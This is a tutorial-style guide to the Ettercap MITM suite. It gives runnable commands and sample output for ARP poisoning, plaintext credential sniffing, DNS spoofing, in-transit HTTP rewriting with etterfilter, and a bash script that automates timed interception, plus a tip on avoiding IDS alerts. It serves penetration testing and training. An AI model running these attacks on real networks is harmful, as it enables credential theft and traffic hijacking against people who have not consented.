Ettercap: Complete Guide to Network Sniffing, Man-in-the-Middle Attacks, and Traffic Analysis Using Kali Linux

Introduction

Ettercap is one of the oldest and most well-known Man-in-the-Middle (MITM) attack suites, originally released in the early 2000s and still shipped by default in Kali Linux. It is built primarily around ARP cache poisoning on IPv4 LANs, but it also supports IPv6 (via NDP spoofing), DHCP spoofing, port stealing, and ICMP redirection as alternative MITM techniques.

Ettercap operates in four core “modes”:

• Sniffing — passive capture of traffic on a switched or unswitched network
• MITM — active insertion between two hosts (ARP poisoning, ICMP redirect, DHCP spoofing, port stealing)
• Filtering — on-the-fly modification of packet content using Ettercap’s own filter language (compiled with etterfilter)
• Plugin-based attacks — dozens of bundled plugins (e.g., dns_spoof, remote_browser, arp_cop) extend functionality

Ettercap can run in three interface modes:

• Text mode (-T) — scriptable, ideal for automation and headless servers
• Curses/ncurses mode (-C) — interactive terminal UI
• GTK GUI mode (-G) — graphical interface for beginners

It supports collecting credentials from many legacy plaintext/weakly-protected protocols (FTP, Telnet, HTTP Basic Auth, POP, IMAP, older SMB dialects) directly from the packet stream during a MITM session.

Installation

Ettercap comes preinstalled on Kali Linux. If it is missing or you want to rebuild it:

sudo apt update
sudo apt install ettercap-graphical -y
# Text-only variant (no GTK dependency):
sudo apt install ettercap-text-only -y

Verify the installation:

ettercap -v

Expected output:

ettercap 0.8.3.1
Copyright 2001-2023 Ettercap Development Team

Building from source (for the latest GitHub version):

sudo apt install build-essential cmake libpcap-dev libssl-dev \
  libcurl4-openssl-dev libgtk-3-dev check libpcre2-dev -y
git clone https://github.com/Ettercap/ettercap.git
cd ettercap
mkdir build && cd build
cmake ..
make
sudo make install

Syntax

ettercap [OPTIONS] [TARGET1] [TARGET2]

Targets use the syntax MAC/IP/IPv6/PORTS, e.g.:

ettercap -T -M arp:remote /192.168.1.1// /192.168.1.50//

An empty field means “any”. Multiple targets are comma-separated.

Command-Line Options Reference

Basic Usage

List interfaces:

sudo ettercap -I

Expected output:

Ettercap 0.8.3.1 copyright 2001-2023 Ettercap Development Team

1 - eth0            00:0C:29:3A:1B:2D
2 - wlan0           unknown

Launch text-mode with an ARP-based MITM between a target and the gateway:

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.20//

Expected output:

ettercap 0.8.3.1 copyright 2001-2023 Ettercap Development Team

Listening on:
  eth0 -> 00:0C:29:3A:1B:2D
          192.168.1.15/255.255.255.0
          fe80::20c:29ff:fe3a:1b2d/64

Privileges dropped to UID 65534 GID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.1 00:1A:2B:3C:4D:5E

 GROUP 2 : 192.168.1.20 08:00:27:AA:BB:CC

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

Practical Examples with Output

Example 1 — ARP poisoning with credential sniffing (full duplex MITM)

sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.1// /192.168.1.20//

Sample captured credential output (from a plaintext FTP login on the victim):

[ETTERCAP] FTP : 192.168.1.20:21 -> USER: student  PASS: MySecret123

Example 2 — One-way ARP poisoning (only poison the target, not the gateway)

sudo ettercap -T -q -i eth0 -M arp:oneway /192.168.1.1// /192.168.1.20//

Example 3 — Passive sniffing only, no forwarding, save to pcap

sudo ettercap -T -q -i eth0 -u -w capture.pcap //

Output:

Unified sniffing already enabled...
Text only Interface activated...
User messages logged to capture.pcap.ecp

Example 4 — Using the built-in DNS spoofing plugin

/etc/ettercap/etter.dns edited to add:

example.com A 192.168.1.15

Run:

sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.20//

Output:

dns_spoof: [example.com] spoofed to [192.168.1.15]

Example 5 — GUI mode (graphical unified sniffing)

sudo ettercap -G

Then, from the menu: Sniff → Unified sniffing → eth0, then Hosts → Scan for hosts, add targets, then Mitm → Arp poisoning → Sniff remote connections.

Example 6 — Logging full traffic content to a file

sudo ettercap -T -q -i eth0 -M arp:remote -L /tmp/session_log /192.168.1.1// /192.168.1.20//

Output creates two files: session_log.eci (info) and session_log.ecp (content), readable later with:

etterlog session_log.ecp

Example 7 — Reading a saved capture instead of live sniffing

sudo ettercap -T -q -r capture.pcap

Example 8 — Filtering with a compiled Ettercap filter (drop/replace HTTP content)

filter.filter:

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Nothing");
      msg("Encoding replaced\n");
   }
}

Compile and load:

etterfilter filter.filter -o filter.ef
sudo ettercap -T -q -i eth0 -F filter.ef -M arp:remote /192.168.1.1// /192.168.1.20//

Output:

etterfilter 0.8.3.1 copyright 2001-2023 Ettercap Development Team

12 protocol tables loaded:
...
Script encoded into 6 instructions.

Example 9 — Host list scan and save

sudo ettercap -T -q -i eth0 -k hosts.txt //

Output:

Scanning the whole netmask for 254 hosts...
* |==================================================>| 100.00 %
18 hosts added to the hosts list...
Hosts list saved to hosts.txt

Example 10 — Scripted ncurses commands

sudo ettercap -C -i eth0 -s "arp/1,2;start"

This automatically loads targets 1 and 2 from the host list and starts sniffing without manual menu navigation.

Common Use Cases

• Demonstrating ARP-poisoning MITM in a controlled lab for training/CTFs
• Capturing legacy plaintext credentials (FTP, Telnet, HTTP Basic) during authorized internal penetration tests
• DNS spoofing demonstrations for phishing-awareness training
• Testing network IDS/IPS detection of ARP poisoning (blue-team validation)
• Auditing whether a network segment has ARP-spoofing protections (Dynamic ARP Inspection, port security) properly configured

Automation with Bash

A wrapper script to automate a timed MITM + logging session in a lab:

#!/bin/bash
# ettercap_session.sh - Automated timed ARP MITM capture for lab use
IFACE="eth0"
GATEWAY="192.168.1.1"
TARGET="192.168.1.20"
DURATION=120
LOGFILE="/tmp/ettercap_$(date +%Y%m%d_%H%M%S)"

echo "[*] Starting Ettercap MITM session for ${DURATION}s..."
sudo timeout "$DURATION" ettercap -T -q -i "$IFACE" \
    -M arp:remote -L "$LOGFILE" \
    "/${GATEWAY}//" "/${TARGET}//"

echo "[*] Session complete. Parsing log..."
etterlog "${LOGFILE}.ecp" > "${LOGFILE}_readable.txt"
echo "[*] Readable log saved to ${LOGFILE}_readable.txt"

Make it executable and run:

chmod +x ettercap_session.sh
./ettercap_session.sh

Tips and Best Practices

• Always run -z or scan first to confirm you’re targeting the right hosts before poisoning an entire subnet.
• Prefer arp:oneway when you only need to intercept traffic from a single victim toward the gateway — it’s less noisy and less likely to trigger IDS alerts than bidirectional poisoning.
• Use -q in scripted/automated runs to suppress live packet dumps and keep output clean for logging.
• Combine with -w or -L so you have forensic-quality captures (pcap) rather than relying only on the live TUI.
• Restore the ARP tables of victims after testing (Ettercap does this automatically on clean Ctrl+C exit — avoid kill -9).
• Test filters with etterfilter -o first; a bad filter script silently fails to load.

Troubleshooting

References

• Official Ettercap GitHub repository and wiki: https://github.com/Ettercap/ettercap
• Kali Linux Tools listing for Ettercap: https://www.kali.org/tools/ettercap/
• Man pages: man ettercap, man etterfilter, man etterlog